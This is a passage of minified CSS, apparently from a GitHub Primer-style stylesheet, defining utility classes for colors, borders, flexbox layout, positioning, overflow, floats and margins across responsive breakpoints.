!important}.color-bg-closed-emphasis{background-color:var(--color-closed-emphasis) !important}.color-bg-done{background-color:var(--color-done-subtle) !important}.color-bg-done-emphasis{background-color:var(--color-done-emphasis) !important}.color-bg-sponsors{background-color:var(--color-sponsors-subtle) !important}.color-bg-sponsors-emphasis{background-color:var(--color-sponsors-emphasis) !important}.color-bg-transparent{background-color:transparent !important}.color-border-default{border-color:var(--color-border-default) !important}.color-border-muted{border-color:var(--color-border-muted) !important}.color-border-subtle{border-color:var(--color-border-subtle) !important}.color-border-accent{border-color:var(--color-accent-muted) !important}.color-border-accent-emphasis{border-color:var(--color-accent-emphasis) !important}.color-border-success{border-color:var(--color-success-muted) !important}.color-border-success-emphasis{border-color:var(--color-success-emphasis) !important}.color-border-attention{border-color:var(--color-attention-muted) !important}.color-border-attention-emphasis{border-color:var(--color-attention-emphasis) !important}.color-border-severe{border-color:var(--color-severe-muted) !important}.color-border-severe-emphasis{border-color:var(--color-severe-emphasis) !important}.color-border-danger{border-color:var(--color-danger-muted) !important}.color-border-danger-emphasis{border-color:var(--color-danger-emphasis) !important}.color-border-open{border-color:var(--color-open-muted) !important}.color-border-open-emphasis{border-color:var(--color-open-emphasis) !important}.color-border-closed{border-color:var(--color-closed-muted) !important}.color-border-closed-emphasis{border-color:var(--color-closed-emphasis) !important}.color-border-done{border-color:var(--color-done-muted) !important}.color-border-done-emphasis{border-color:var(--color-done-emphasis) !important}.color-border-sponsors{border-color:var(--color-sponsors-muted) !important}.color-border-sponsors-emphasis{border-color:var(--color-sponsors-emphasis) !important}.color-fg-inherit{color:inherit !important}.details-overlay[open]>summary::before{position:fixed;top:0;right:0;bottom:0;left:0;z-index:80;display:block;cursor:default;content:" ";background:transparent}.details-overlay-dark[open]>summary::before{z-index:111;background:var(--color-primer-canvas-backdrop)}.details-reset>summary{list-style:none;transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.details-reset>summary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-reset>summary:focus:not(:focus-visible){outline:solid 1px transparent}.details-reset>summary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-reset>summary.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.details-reset>summary.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.details-reset>summary.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.details-reset>summary::before{display:none}.details-reset>summary::-webkit-details-marker{display:none}.details-overlay>summary{transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.details-overlay>summary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-overlay>summary:focus:not(:focus-visible){outline:solid 1px transparent}.details-overlay>summary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-overlay>summary.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.details-overlay>summary.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.details-overlay>summary.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.flex-row{flex-direction:row !important}.flex-row-reverse{flex-direction:row-reverse !important}.flex-column{flex-direction:column !important}.flex-column-reverse{flex-direction:column-reverse !important}.flex-wrap{flex-wrap:wrap !important}.flex-nowrap{flex-wrap:nowrap !important}.flex-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-justify-start{justify-content:flex-start !important}.flex-justify-end{justify-content:flex-end !important}.flex-justify-center{justify-content:center !important}.flex-justify-between{justify-content:space-between !important}.flex-justify-around{justify-content:space-around !important}.flex-items-start{align-items:flex-start !important}.flex-items-end{align-items:flex-end !important}.flex-items-center{align-items:center !important}.flex-items-baseline{align-items:baseline !important}.flex-items-stretch{align-items:stretch !important}.flex-content-start{align-content:flex-start !important}.flex-content-end{align-content:flex-end !important}.flex-content-center{align-content:center !important}.flex-content-between{align-content:space-between !important}.flex-content-around{align-content:space-around !important}.flex-content-stretch{align-content:stretch !important}.flex-1{flex:1 !important}.flex-auto{flex:auto !important}.flex-grow-0{flex-grow:0 !important}.flex-shrink-0{flex-shrink:0 !important}.flex-self-auto{align-self:auto !important}.flex-self-start{align-self:flex-start !important}.flex-self-end{align-self:flex-end !important}.flex-self-center{align-self:center !important}.flex-self-baseline{align-self:baseline !important}.flex-self-stretch{align-self:stretch !important}.flex-order-1{order:1 !important}.flex-order-2{order:2 !important}.flex-order-none{order:inherit !important}@media(min-width: 544px){.flex-sm-row{flex-direction:row !important}.flex-sm-row-reverse{flex-direction:row-reverse !important}.flex-sm-column{flex-direction:column !important}.flex-sm-column-reverse{flex-direction:column-reverse !important}.flex-sm-wrap{flex-wrap:wrap !important}.flex-sm-nowrap{flex-wrap:nowrap !important}.flex-sm-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-sm-justify-start{justify-content:flex-start !important}.flex-sm-justify-end{justify-content:flex-end !important}.flex-sm-justify-center{justify-content:center !important}.flex-sm-justify-between{justify-content:space-between !important}.flex-sm-justify-around{justify-content:space-around !important}.flex-sm-items-start{align-items:flex-start !important}.flex-sm-items-end{align-items:flex-end !important}.flex-sm-items-center{align-items:center !important}.flex-sm-items-baseline{align-items:baseline !important}.flex-sm-items-stretch{align-items:stretch !important}.flex-sm-content-start{align-content:flex-start !important}.flex-sm-content-end{align-content:flex-end !important}.flex-sm-content-center{align-content:center !important}.flex-sm-content-between{align-content:space-between !important}.flex-sm-content-around{align-content:space-around !important}.flex-sm-content-stretch{align-content:stretch !important}.flex-sm-1{flex:1 !important}.flex-sm-auto{flex:auto !important}.flex-sm-grow-0{flex-grow:0 !important}.flex-sm-shrink-0{flex-shrink:0 !important}.flex-sm-self-auto{align-self:auto !important}.flex-sm-self-start{align-self:flex-start !important}.flex-sm-self-end{align-self:flex-end !important}.flex-sm-self-center{align-self:center !important}.flex-sm-self-baseline{align-self:baseline !important}.flex-sm-self-stretch{align-self:stretch !important}.flex-sm-order-1{order:1 !important}.flex-sm-order-2{order:2 !important}.flex-sm-order-none{order:inherit !important}}@media(min-width: 768px){.flex-md-row{flex-direction:row !important}.flex-md-row-reverse{flex-direction:row-reverse !important}.flex-md-column{flex-direction:column !important}.flex-md-column-reverse{flex-direction:column-reverse !important}.flex-md-wrap{flex-wrap:wrap !important}.flex-md-nowrap{flex-wrap:nowrap !important}.flex-md-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-md-justify-start{justify-content:flex-start !important}.flex-md-justify-end{justify-content:flex-end !important}.flex-md-justify-center{justify-content:center !important}.flex-md-justify-between{justify-content:space-between !important}.flex-md-justify-around{justify-content:space-around !important}.flex-md-items-start{align-items:flex-start !important}.flex-md-items-end{align-items:flex-end !important}.flex-md-items-center{align-items:center !important}.flex-md-items-baseline{align-items:baseline !important}.flex-md-items-stretch{align-items:stretch !important}.flex-md-content-start{align-content:flex-start !important}.flex-md-content-end{align-content:flex-end !important}.flex-md-content-center{align-content:center !important}.flex-md-content-between{align-content:space-between !important}.flex-md-content-around{align-content:space-around !important}.flex-md-content-stretch{align-content:stretch !important}.flex-md-1{flex:1 !important}.flex-md-auto{flex:auto !important}.flex-md-grow-0{flex-grow:0 !important}.flex-md-shrink-0{flex-shrink:0 !important}.flex-md-self-auto{align-self:auto !important}.flex-md-self-start{align-self:flex-start !important}.flex-md-self-end{align-self:flex-end !important}.flex-md-self-center{align-self:center !important}.flex-md-self-baseline{align-self:baseline !important}.flex-md-self-stretch{align-self:stretch !important}.flex-md-order-1{order:1 !important}.flex-md-order-2{order:2 !important}.flex-md-order-none{order:inherit !important}}@media(min-width: 1012px){.flex-lg-row{flex-direction:row !important}.flex-lg-row-reverse{flex-direction:row-reverse !important}.flex-lg-column{flex-direction:column !important}.flex-lg-column-reverse{flex-direction:column-reverse !important}.flex-lg-wrap{flex-wrap:wrap !important}.flex-lg-nowrap{flex-wrap:nowrap !important}.flex-lg-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-lg-justify-start{justify-content:flex-start !important}.flex-lg-justify-end{justify-content:flex-end !important}.flex-lg-justify-center{justify-content:center !important}.flex-lg-justify-between{justify-content:space-between !important}.flex-lg-justify-around{justify-content:space-around !important}.flex-lg-items-start{align-items:flex-start !important}.flex-lg-items-end{align-items:flex-end !important}.flex-lg-items-center{align-items:center !important}.flex-lg-items-baseline{align-items:baseline !important}.flex-lg-items-stretch{align-items:stretch !important}.flex-lg-content-start{align-content:flex-start !important}.flex-lg-content-end{align-content:flex-end !important}.flex-lg-content-center{align-content:center !important}.flex-lg-content-between{align-content:space-between !important}.flex-lg-content-around{align-content:space-around !important}.flex-lg-content-stretch{align-content:stretch !important}.flex-lg-1{flex:1 !important}.flex-lg-auto{flex:auto !important}.flex-lg-grow-0{flex-grow:0 !important}.flex-lg-shrink-0{flex-shrink:0 !important}.flex-lg-self-auto{align-self:auto !important}.flex-lg-self-start{align-self:flex-start !important}.flex-lg-self-end{align-self:flex-end !important}.flex-lg-self-center{align-self:center !important}.flex-lg-self-baseline{align-self:baseline !important}.flex-lg-self-stretch{align-self:stretch !important}.flex-lg-order-1{order:1 !important}.flex-lg-order-2{order:2 !important}.flex-lg-order-none{order:inherit !important}}@media(min-width: 1280px){.flex-xl-row{flex-direction:row !important}.flex-xl-row-reverse{flex-direction:row-reverse !important}.flex-xl-column{flex-direction:column !important}.flex-xl-column-reverse{flex-direction:column-reverse !important}.flex-xl-wrap{flex-wrap:wrap !important}.flex-xl-nowrap{flex-wrap:nowrap !important}.flex-xl-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-xl-justify-start{justify-content:flex-start !important}.flex-xl-justify-end{justify-content:flex-end !important}.flex-xl-justify-center{justify-content:center !important}.flex-xl-justify-between{justify-content:space-between !important}.flex-xl-justify-around{justify-content:space-around !important}.flex-xl-items-start{align-items:flex-start !important}.flex-xl-items-end{align-items:flex-end !important}.flex-xl-items-center{align-items:center !important}.flex-xl-items-baseline{align-items:baseline !important}.flex-xl-items-stretch{align-items:stretch !important}.flex-xl-content-start{align-content:flex-start !important}.flex-xl-content-end{align-content:flex-end !important}.flex-xl-content-center{align-content:center !important}.flex-xl-content-between{align-content:space-between !important}.flex-xl-content-around{align-content:space-around !important}.flex-xl-content-stretch{align-content:stretch !important}.flex-xl-1{flex:1 !important}.flex-xl-auto{flex:auto !important}.flex-xl-grow-0{flex-grow:0 !important}.flex-xl-shrink-0{flex-shrink:0 !important}.flex-xl-self-auto{align-self:auto !important}.flex-xl-self-start{align-self:flex-start !important}.flex-xl-self-end{align-self:flex-end !important}.flex-xl-self-center{align-self:center !important}.flex-xl-self-baseline{align-self:baseline !important}.flex-xl-self-stretch{align-self:stretch !important}.flex-xl-order-1{order:1 !important}.flex-xl-order-2{order:2 !important}.flex-xl-order-none{order:inherit !important}}.position-static{position:static !important}.position-relative{position:relative !important}.position-absolute{position:absolute !important}.position-fixed{position:fixed !important}.position-sticky{position:sticky !important}@media(min-width: 544px){.position-sm-static{position:static !important}.position-sm-relative{position:relative !important}.position-sm-absolute{position:absolute !important}.position-sm-fixed{position:fixed !important}.position-sm-sticky{position:sticky !important}}@media(min-width: 768px){.position-md-static{position:static !important}.position-md-relative{position:relative !important}.position-md-absolute{position:absolute !important}.position-md-fixed{position:fixed !important}.position-md-sticky{position:sticky !important}}@media(min-width: 1012px){.position-lg-static{position:static !important}.position-lg-relative{position:relative !important}.position-lg-absolute{position:absolute !important}.position-lg-fixed{position:fixed !important}.position-lg-sticky{position:sticky !important}}@media(min-width: 1280px){.position-xl-static{position:static !important}.position-xl-relative{position:relative !important}.position-xl-absolute{position:absolute !important}.position-xl-fixed{position:fixed !important}.position-xl-sticky{position:sticky !important}}.top-0{top:0 !important}.right-0{right:0 !important}.bottom-0{bottom:0 !important}.left-0{left:0 !important}.top-auto{top:auto !important}.right-auto{right:auto !important}.bottom-auto{bottom:auto !important}.left-auto{left:auto !important}@media(min-width: 544px){.top-sm-0{top:0 !important}.right-sm-0{right:0 !important}.bottom-sm-0{bottom:0 !important}.left-sm-0{left:0 !important}.top-sm-auto{top:auto !important}.right-sm-auto{right:auto !important}.bottom-sm-auto{bottom:auto !important}.left-sm-auto{left:auto !important}}@media(min-width: 768px){.top-md-0{top:0 !important}.right-md-0{right:0 !important}.bottom-md-0{bottom:0 !important}.left-md-0{left:0 !important}.top-md-auto{top:auto !important}.right-md-auto{right:auto !important}.bottom-md-auto{bottom:auto !important}.left-md-auto{left:auto !important}}@media(min-width: 1012px){.top-lg-0{top:0 !important}.right-lg-0{right:0 !important}.bottom-lg-0{bottom:0 !important}.left-lg-0{left:0 !important}.top-lg-auto{top:auto !important}.right-lg-auto{right:auto !important}.bottom-lg-auto{bottom:auto !important}.left-lg-auto{left:auto !important}}@media(min-width: 1280px){.top-xl-0{top:0 !important}.right-xl-0{right:0 !important}.bottom-xl-0{bottom:0 !important}.left-xl-0{left:0 !important}.top-xl-auto{top:auto !important}.right-xl-auto{right:auto !important}.bottom-xl-auto{bottom:auto !important}.left-xl-auto{left:auto !important}}.v-align-middle{vertical-align:middle !important}.v-align-top{vertical-align:top !important}.v-align-bottom{vertical-align:bottom !important}.v-align-text-top{vertical-align:text-top !important}.v-align-text-bottom{vertical-align:text-bottom !important}.v-align-baseline{vertical-align:baseline !important}.overflow-visible{overflow:visible !important}.overflow-x-visible{overflow-x:visible !important}.overflow-y-visible{overflow-y:visible !important}.overflow-hidden{overflow:hidden !important}.overflow-x-hidden{overflow-x:hidden !important}.overflow-y-hidden{overflow-y:hidden !important}.overflow-auto{overflow:auto !important}.overflow-x-auto{overflow-x:auto !important}.overflow-y-auto{overflow-y:auto !important}.overflow-scroll{overflow:scroll !important}.overflow-x-scroll{overflow-x:scroll !important}.overflow-y-scroll{overflow-y:scroll !important}@media(min-width: 544px){.overflow-sm-visible{overflow:visible !important}.overflow-sm-x-visible{overflow-x:visible !important}.overflow-sm-y-visible{overflow-y:visible !important}.overflow-sm-hidden{overflow:hidden !important}.overflow-sm-x-hidden{overflow-x:hidden !important}.overflow-sm-y-hidden{overflow-y:hidden !important}.overflow-sm-auto{overflow:auto !important}.overflow-sm-x-auto{overflow-x:auto !important}.overflow-sm-y-auto{overflow-y:auto !important}.overflow-sm-scroll{overflow:scroll !important}.overflow-sm-x-scroll{overflow-x:scroll !important}.overflow-sm-y-scroll{overflow-y:scroll !important}}@media(min-width: 768px){.overflow-md-visible{overflow:visible !important}.overflow-md-x-visible{overflow-x:visible !important}.overflow-md-y-visible{overflow-y:visible !important}.overflow-md-hidden{overflow:hidden !important}.overflow-md-x-hidden{overflow-x:hidden !important}.overflow-md-y-hidden{overflow-y:hidden !important}.overflow-md-auto{overflow:auto !important}.overflow-md-x-auto{overflow-x:auto !important}.overflow-md-y-auto{overflow-y:auto !important}.overflow-md-scroll{overflow:scroll !important}.overflow-md-x-scroll{overflow-x:scroll !important}.overflow-md-y-scroll{overflow-y:scroll !important}}@media(min-width: 1012px){.overflow-lg-visible{overflow:visible !important}.overflow-lg-x-visible{overflow-x:visible !important}.overflow-lg-y-visible{overflow-y:visible !important}.overflow-lg-hidden{overflow:hidden !important}.overflow-lg-x-hidden{overflow-x:hidden !important}.overflow-lg-y-hidden{overflow-y:hidden !important}.overflow-lg-auto{overflow:auto !important}.overflow-lg-x-auto{overflow-x:auto !important}.overflow-lg-y-auto{overflow-y:auto !important}.overflow-lg-scroll{overflow:scroll !important}.overflow-lg-x-scroll{overflow-x:scroll !important}.overflow-lg-y-scroll{overflow-y:scroll !important}}@media(min-width: 1280px){.overflow-xl-visible{overflow:visible !important}.overflow-xl-x-visible{overflow-x:visible !important}.overflow-xl-y-visible{overflow-y:visible !important}.overflow-xl-hidden{overflow:hidden !important}.overflow-xl-x-hidden{overflow-x:hidden !important}.overflow-xl-y-hidden{overflow-y:hidden !important}.overflow-xl-auto{overflow:auto !important}.overflow-xl-x-auto{overflow-x:auto !important}.overflow-xl-y-auto{overflow-y:auto !important}.overflow-xl-scroll{overflow:scroll !important}.overflow-xl-x-scroll{overflow-x:scroll !important}.overflow-xl-y-scroll{overflow-y:scroll !important}}.clearfix::before{display:table;content:""}.clearfix::after{display:table;clear:both;content:""}.float-left{float:left !important}.float-right{float:right !important}.float-none{float:none !important}@media(min-width: 544px){.float-sm-left{float:left !important}.float-sm-right{float:right !important}.float-sm-none{float:none !important}}@media(min-width: 768px){.float-md-left{float:left !important}.float-md-right{float:right !important}.float-md-none{float:none !important}}@media(min-width: 1012px){.float-lg-left{float:left !important}.float-lg-right{float:right !important}.float-lg-none{float:none !important}}@media(min-width: 1280px){.float-xl-left{float:left !important}.float-xl-right{float:right !important}.float-xl-none{float:none !important}}.width-fit{max-width:100% !important}.width-full{width:100% !important}.height-fit{max-height:100% !important}.height-full{height:100% !important}.min-width-0{min-width:0 !important}.width-auto{width:auto !important}.direction-rtl{direction:rtl !important}.direction-ltr{direction:ltr !important}@media(min-width: 544px){.width-sm-auto{width:auto !important}.direction-sm-rtl{direction:rtl !important}.direction-sm-ltr{direction:ltr !important}}@media(min-width: 768px){.width-md-auto{width:auto !important}.direction-md-rtl{direction:rtl !important}.direction-md-ltr{direction:ltr !important}}@media(min-width: 1012px){.width-lg-auto{width:auto !important}.direction-lg-rtl{direction:rtl !important}.direction-lg-ltr{direction:ltr !important}}@media(min-width: 1280px){.width-xl-auto{width:auto !important}.direction-xl-rtl{direction:rtl !important}.direction-xl-ltr{direction:ltr !important}}.m-0{margin:0 !important}.mt-0{margin-top:0 !important}.mb-0{margin-bottom:0 !important}.mr-0{margin-right:0 !important}.ml-0{margin-left:0 !important}.mx-0{margin-right:0 !important;margin-left:0 !important}.my-0{margin-top:0 !important;margin-bottom:0 !important}.m-1{margin:4px !important}.mt-1{margin-top:4px !important}.mb-1{margin-bottom:4px !important}.mr-1{margin-right:4px !important}.ml-1{margin-left:4px !important}.mt-n1{margin-top:-4px !important}.mb-n1{margin-bottom:-4px !important}.mr-n1{margin-right:-4px !important}.ml-n1{margin-left:-4px !important}.mx-1{margin-right:4px !important;margin-left:4px !important}.my-1{margin-top:4px !important;margin-bottom:4px !important}.m-2{margin:8px !important}.mt-2{margin-top:8px !important}.mb-2{margin-bottom:8px !important}.mr-2{margin-right:8px !important}.ml-2{margin-left:8px !important}.mt-n2{margin-top:-8px !important}.mb-n2{margin-bottom:-8px !important}.mr-n2{margin-right:-8px !important}.ml-n2{margin-left:-8px !important}.mx-2{margin-right:8px !important;margin-left:8px !important}.my-2{margin-top:8px !important;margin-bottom:8px !important}.m-3{margin:16px !important}.mt-3{margin-top:16px !important}.mb-3{margin-bottom:16px !important}.mr-3{margin-right:16px !important}.ml-3{margin-left:16px !important}.mt-n3{margin-top:-16px !important}.mb-n3{margin-bottom:-16px !important}.mr-n3{margin-right:-16px !important}.ml-n3{margin-left:-16px !important}.mx-3{margin-right:16px !important;margin-left:16px !important}.my-3{margin-top:16px !important;margin-bottom:16px !important}.m-4{margin:24px !important}.mt-4{margin-top:24px !important}.mb-4{margin-bottom:24px !important}.mr-4{margin-right:24px !important}.ml-4{margin-left:24px !important}.mt-n4{margin-top:-24px !important}.mb-n4{margin-bottom:-24px !important}.mr-n4{margin-right:-24px !important}.ml-n4{margin-left:-24px !important}.mx-4{margin-right:24px !important;margin-left:24px !important}.my-4{margin-top:24px !important;margin-bottom:24px !important}.m-5{margin:32px !important}.mt-5{margin-top:32px !important}.mb-5{margin-bottom:32px !important}.mr-5{margin-right:32px !important}.ml-5{margin-left:32px !important}.mt-n5{margin-top:-32px !important}.mb-n5{margin-bottom:-32px !important}.mr-n5{margin-right:-32px !important}.ml-n5{margin-left:-32px !important}.mx-5{margin-right:32px !important;margin-left:32px !important}.my-5{margin-top:32px !important;margin-bottom:32px !important}.m-6{margin:40px !important}.mt-6{margin-top:40px !important}.mb-6{margin-bottom:40px !important}.mr-6{margin-right:40px !important}.ml-6{margin-left:40px !important}.mt-n6{margin-top:-40px !important}.mb-n6{margin-bottom:-40px !important}.mr-n6{margin-right:-40px !important}.ml-n6{margin-left:-40px !important}.mx-6{margin-right:40px !important;margin-left:40px !important}.my-6{margin-top:40px !important;margin-bottom:40px !important}.mt-7{margin-top:48px !important}.mb-7{margin-bottom:48px !important}.mt-n7{margin-top:-48px !important}.mb-n7{margin-bottom:-48px !important}.my-7{margin-top:48px !important;margin-bottom:48px !important}.mt-8{margin-top:64px !important}.mb-8{margin-bottom:64px !important}.mt-n8{margin-top:-64px !important}.mb-n8{margin-bottom:-64px !important}.my-8{margin-top:64px !important;margin-bottom:64px !important}.mt-9{margin-top:80px !important}.mb-9{margin-bottom:80px !important}.mt-n9{margin-top:-80px !important}.mb-n9{margin-bottom:-80px !important}.my-9{margin-top:80px !important;margin-bottom:80px !important}.mt-10{margin-top:96px !important}.mb-10{margin-bottom:96px !important}.mt-n10{margin-top:-96px !important}.mb-n10{margin-bottom:-96px !important}.my-10{margin-top:96px !important;margin-bottom:96px !important}.mt-11{margin-top:112px !important}.mb-11{margin-bottom:112px !important}.mt-n11{margin-top:-112px !important}.mb-n11{margin-bottom:-112px !important}.my-11{margin-top:112px !important;margin-bottom:112px !important}.mt-12{margin-top:128px !important}.mb-12{margin-bottom:128px !important}.mt-n12{margin-top:-128px !important}.mb-n12{margin-bottom:-128px !important}.my-12{margin-top:128px !important;margin-bottom:128px !important}.mx-auto{margin-right:auto !important;margin-left:auto !important}@media(min-width: 544px){.m-sm-0{margin:0 !important}.mt-sm-0{margin-top:0 !important}.mb-sm-0{margin-bottom:0 !important}.mr-sm-0{margin-right:0 !important}.ml-sm-0{margin-left:0 !important}.mx-sm-0{margin-right:0 !important;margin-left:0 !important}.my-sm-0{margin-top:0 !important;margin-bottom:0 !important}.m-sm-1{margin:4px !important}.mt-sm-1{margin-top:4px !important}.mb-sm-1{margin-bottom:4px !important}.mr-sm-1{margin-right:4px !important}.ml-sm-1{margin-left:4px !important}.mt-sm-n1{margin-top:-4px !important}.mb-sm-n1{margin-bottom:-4px !important}.mr-sm-n1{margin-right:-4px !important}.ml-sm-n1{margin-left:-4px !important}.mx-sm-1{margin-right:4px !important;margin-left:4px !important}.my-sm-1{margin-top:4px !important;margin-bottom:4px !important}.m-sm-2{margin:8px !important}.mt-sm-2{margin-top:8px !important}.mb-sm-2{margin-bottom:8px !important}.mr-sm-2{margin-right:8px !important}.ml-sm-2{margin-left:8px !important}.mt-sm-n2{margin-top:-8px !important}.mb-sm-n2{margin-bottom:-8px !important}.mr-sm-n2{margin-right:-8px !important}.ml-sm-n2{margin-left:-8px !important}.mx-sm-2{margin-right:8px !important;margin-left:8px !important}.my-sm-2{margin-top:8px !important;margin-bottom:8px !important}.m-sm-3{margin:16px !important}.mt-sm-3{margin-top:16px !important}.mb-sm-3{margin-bottom:16px !important}.mr-sm-3{margin-right:16px !important}.ml-sm-3{margin-left:16px !important}.mt-sm-n3{margin-top:-16px !important}.mb-sm-n3{margin-bottom:-16px !important}.mr-sm-n3{margin-right:-16px !important}.ml-sm-n3{margin-left:-16px !important}.mx-sm-3{margin-right:16px !important;margin-left:16px !important}.my-sm-3{margin-top:16px !important;margin-bottom:16px !important}.m-sm-4{margin:24px !important}.mt-sm-4{margin-top:24px !important}.mb-sm-4{margin-bottom:24px !important}.mr-sm-4{margin-right:24px !important}.ml-sm-4{margin-left:24px !important}.mt-sm-n4{margin-top:-24px !important}.mb-sm-n4{margin-bottom:-24px !important}.mr-sm-n4{margin-right:-24px !important}.ml-sm-n4{margin-left:-24px !important}.mx-sm-4{margin-right:24px !important;margin-left:24px !important}.my-sm-4{margin-top:24px !important;margin-bottom:24px !important}.m-sm-5{margin:32px !important}.mt-sm-5{margin-top:32px !important}.mb-sm-5{margin-bottom:32px !important}.mr-sm-5{margin-right:32px !important}.ml-sm-5{margin-left:32px !important}.mt-sm-n5{margin-top:-32px !important}.mb-sm-n5{margin-bottom:-32px !important}.mr-sm-n5{margin-right:-32px !important}.ml-sm-n5{margin-left:-32px !important}.mx-sm-5{margin-right:32px !important;margin-left:32px !important}.my-sm-5{margin-top:32px !important;margin-bottom:32px !important}.m-sm-6{margin:40px !important}.mt-sm-6{margin-top:40px !important}.mb-sm-6{margin-bottom:40px !important}.mr-sm-6{margin-right:40px !important}.ml-sm-6{margin-left:40px !important}.mt-sm-n6{margin-top:-40px !important}.mb-sm-n6{margin-bottom:-40px !important}.mr-sm-n6{margin-right:-40px !important}.ml-sm-n6{margin-left:-40px !important}.mx-sm-6{margin-right:40px !important;margin-left:40px !important}.my-sm-6{margin-top:40px !important;margin-bottom:40px !important}.mt-sm-7{margin-top:48px !important}.mb-sm-7{margin-bottom:48px !important}.mt-sm-n7{margin-top:-48px !important}.mb-sm-n7{margin-bottom:-48px !important}.my-sm-7{margin-top:48px !important;margin-bottom:48px !important}.mt-sm-8{margin-top:64px !important}.mb-sm-8{margin-bottom:64px !important}.mt-sm-n8{margin-top:-64px !important}.mb-sm-n8{margin-bottom:-64px !important}.my-sm-8{margin-top:64px !important;margin-bottom:64px !important}.mt-sm-9{margin-top:80px !important}.mb-sm-9{margin-bottom:80px !important}.mt-sm-n9{margin-top:-80px !important}.mb-sm-n9{margin-bottom:-80px !important}.my-sm-9{margin-top:80px !important;margin-bottom:80px !important}.mt-sm-10{margin-top:96px !important}.mb-sm-10{margin-bottom:96px !important}.mt-sm-n10{margin-top:-96px !important}.mb-sm-n10{margin-bottom:-96px !important}.my-sm-10{margin-top:96px !important;margin-bottom:96px !important}.mt-sm-11{margin-top:112px !important}.mb-sm-11{margin-bottom:112px !important}.mt-sm-n11{margin-top:-112px !important}.mb-sm-n11{margin-bottom:-112px !important}.my-sm-11{margin-top:112px !important;margin-bottom:112px !important}.mt-sm-12{margin-top:128px !important}.mb-sm-12{margin-bottom:128px !important}.mt-sm-n12{margin-top:-128px !important}.mb-sm-n12{margin-bottom:-128px !important}.my-sm-12{margin-top:128px !important;margin-bottom:128px !important}.mx-sm-auto{margin-right:auto !important;margin-left:auto !important}}@media(min-width: 768px){.m-md-0{margin:0 !important}.mt-md-0{margin-top:0 !important}.mb-md-0{margin-bottom:0 !important}.mr-md-0{margin-right:0 !important}.ml-md-0{margin-left:0 !important}.mx-md-0{margin-right:0 !important;margin-left:0 !important}.my-md-0{margin-top:0 !important;margin-bottom:0 !important}.m-md-1{margin:4px !important}.mt-md-1{margin-top:4px !important}.mb-md-1{margin-bottom:4px !important}.mr-md-1{margin-right:4px !important}.ml-md-1{margin-left:4px !important}.mt-md-n1{margin-top:-4px !important}.mb-md-n1{margin-bottom:-4px !important}.mr-md-n1{margin-right:-4px !important}.ml-md-n1{margin-left:-4px !important}.mx-md-1{margin-right:4px !important;margin-left:4px !important}.my-md-1{margin-top:4px !important;margin-bottom:4px !important}.m-md-2{margin:8px !important}.mt-md-2{margin-top:8px !important}.mb-md-2{margin-bottom:8px !important}.mr-md-2{margin-right:8px !important}.ml-md-2{margin-left:8px !important}.mt-md-n2{margin-top:-8px !important}.mb-md-n2{margin-bottom:-8px !important}.mr-md-n2{margin-right:-8px !important}.ml-md-n2{margin-left:-8px !important}.mx-md-2{margin-right:8px !important;margin-left:8px !important}.my-md-2{margin-top:8px !important;margin-bottom:8px !important}.m-md-3{margin:16px !important}.mt-md-3{margin-top:16px !important}.mb-md-3{margin-bottom:16px !important}.mr-md-3{margin-right:16px !important}.ml-md-3{margin-left:16px !important}.mt-md-n3{margin-top:-16px !important}.mb-md-n3{margin-bottom:-16px !important}.mr-md-n3{margin-right:-16px !important}.ml-md-n3{margin-left:-16px !important}.mx-md-3{margin-right:16px !important;margin-left:16px !important}.my-md-3{margin-top:16px !important;margin-bottom:16px !important}.m-md-4{margin:24px !important}.mt-md-4{margin-top:24px !important}.mb-md-4{margin-bottom:24px !important}.mr-md-4{margin-right:24px !important}.ml-md-4{margin-left:24px !important}.mt-md-n4{margin-top:-24px !important}.mb-md-n4{margin-bottom:-24px !important}.mr-md-n4{margin-right:-24px !important}.ml-md-n4{margin-left:-24px !important}.mx-md-4{margin-right:24px !important;margin-left:24px !important}.my-md-4{margin-top:24px !important;margin-bottom:24px !important}.m-md-5{margin:32px !important}.mt-md-5{margin-top:32px !important}.mb-md-5{margin-bottom:32px !important}.mr-md-5{margin-right:32px !important}.ml-md-5{margin-left:32px !important}.mt-md-n5{margin-top:-32px !important}.mb-md-n5{margin-bottom:-32px !important}.mr-md-n5{margin-right:-32px !important}.ml-md-n5{margin-left:-32px !important}.mx-md-5{margin-right:32px !important;margin-left:32px !important}.my-md-5{margin-top:32px !important;margin-bottom:32px !important}.m-md-6{margin:40px !important}.mt-md-6{margin-top:40px !important}.mb-md-6{margin-bottom:40px !important}.mr-md-6{margin-right:40px !important}.ml-md-6{margin-left:40px !important}.mt-md-n6{margin-top:-40px !important}.mb-md-n6{margin-bottom:-40px !important}.mr-md-n6{margin-right:-40px !important}.ml-md-n6{margin-left:-40px !important}.mx-md-6{margin-right:40px !important;margin-left:40px !important}.my-md-6{margin-top:40px !important;margin-bottom:40px !important}.mt-md-7{margin-top:48px !important}.mb-md-7{margin-bottom:48px !important}.mt-md-n7{margin-top:-48px !important}.mb-md-n7{margin-bottom:-48px !important}.my-md-7{margin-top:48px !important;margin-bottom:48px !important}.mt-md-8{margin-top:64px !important}.mb-md-8{margin-bottom:64px !important}.mt-md-n8{margin-top:-64px 